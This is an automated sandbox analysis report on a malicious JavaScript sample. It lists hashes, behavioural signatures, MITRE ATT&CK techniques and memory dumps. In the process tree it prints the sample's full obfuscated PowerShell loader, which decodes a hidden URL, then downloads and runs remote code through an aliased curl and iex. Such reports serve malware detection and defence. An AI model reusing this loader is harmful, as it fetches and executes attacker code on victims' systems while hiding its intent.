de28e3aeb30aab21899f1b584959ca0180f0ed789c0997d5372a8286979bbf3d

Analysis

max time kernel
95s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:49

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General

Target

be243977614a89f07a196638f8f7b595b974dc013320921341222d60e7e51d3a.js
Size

231KB
MD5

73a3b7128cd5feb777d78090319c588a
SHA1

8fe98adf42118133d11a10e744022dfefe6b9902
SHA256

be243977614a89f07a196638f8f7b595b974dc013320921341222d60e7e51d3a
SHA512

a49ca450ea1819e053849fe8541aa544ef629fff9c2d696818acd516b71bd78a7a4e3b9e6f5b860d026bd035e79dd28816959f60e783edc71b4ca2a2217d8f5e
SSDEEP

3072:nT+L9L71PWPFT+L9L71P6PfuPj+L9L71Pk+L9L71Pf:T+L9YJ+L9Uu7+L9K+L95

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3460	4560	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	408	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
408	powershell.exe
408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	408	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3460 wrote to memory of 408	3460	conhost.exe	84
PID 3460 wrote to memory of 408	3460	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\be243977614a89f07a196638f8f7b595b974dc013320921341222d60e7e51d3a.js
1⤵
PID:5056

C:\Windows\system32\conhost.exe
conhost --headless powershell $vfsnxljczpdem='ur' ;new-alias printout c$($vfsnxljczpdem)l;$obqkaljdfpsmg=(5869,5880,5888,5872,5874,5869,5889,5888,5893,5826,5888,5822,5869,5817,5887,5882,5883,5818,5820,5817,5883,5875,5883,5834,5886,5832,5880,5876,5881,5887,5886,5821,5820);$armszufng=('bronx','get-cmdlet');$sbfuhyqcp=$obqkaljdfpsmg;foreach($qceswmnyrdzkhv in $sbfuhyqcp){$futgyrla=$qceswmnyrdzkhv;$pgkxyejvwntmcz=$pgkxyejvwntmcz+[char]($futgyrla-5771);$rplduchgtbfnzw=$pgkxyejvwntmcz; $dgetwpqjzmvy=$rplduchgtbfnzw};$xktlbvm[2]=$dgetwpqjzmvy;$itbmvqdyskhceo='rl';$lwfjkbhcvzxte=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dgetwpqjzmvy)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $vfsnxljczpdem='ur' ;new-alias printout c$($vfsnxljczpdem)l;$obqkaljdfpsmg=(5869,5880,5888,5872,5874,5869,5889,5888,5893,5826,5888,5822,5869,5817,5887,5882,5883,5818,5820,5817,5883,5875,5883,5834,5886,5832,5880,5876,5881,5887,5886,5821,5820);$armszufng=('bronx','get-cmdlet');$sbfuhyqcp=$obqkaljdfpsmg;foreach($qceswmnyrdzkhv in $sbfuhyqcp){$futgyrla=$qceswmnyrdzkhv;$pgkxyejvwntmcz=$pgkxyejvwntmcz+[char]($futgyrla-5771);$rplduchgtbfnzw=$pgkxyejvwntmcz; $dgetwpqjzmvy=$rplduchgtbfnzw};$xktlbvm[2]=$dgetwpqjzmvy;$itbmvqdyskhceo='rl';$lwfjkbhcvzxte=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dgetwpqjzmvy)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eiqqy3bj.pjg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/408-0-0x00007FF828243000-0x00007FF828245000-memory.dmp

Filesize
8KB

Download
memory/408-10-0x0000021F32920000-0x0000021F32942000-memory.dmp

Filesize
136KB

Download
memory/408-11-0x00007FF828240000-0x00007FF828D01000-memory.dmp

Filesize
10.8MB

Download
memory/408-12-0x00007FF828240000-0x00007FF828D01000-memory.dmp

Filesize
10.8MB

Download
memory/408-13-0x00007FF828240000-0x00007FF828D01000-memory.dmp

Filesize
10.8MB

Download
memory/408-14-0x00007FF828240000-0x00007FF828D01000-memory.dmp

Filesize
10.8MB

Download
memory/408-15-0x00007FF828243000-0x00007FF828245000-memory.dmp

Filesize
8KB

Download
memory/408-16-0x00007FF828240000-0x00007FF828D01000-memory.dmp

Filesize
10.8MB

Download
memory/408-17-0x0000021F4ACA0000-0x0000021F4AEBC000-memory.dmp

Filesize
2.1MB

Download
memory/408-21-0x0000021F4ACA0000-0x0000021F4AEBC000-memory.dmp

Filesize
2.1MB

Download
memory/408-22-0x00007FF828240000-0x00007FF828D01000-memory.dmp

Filesize
10.8MB

Download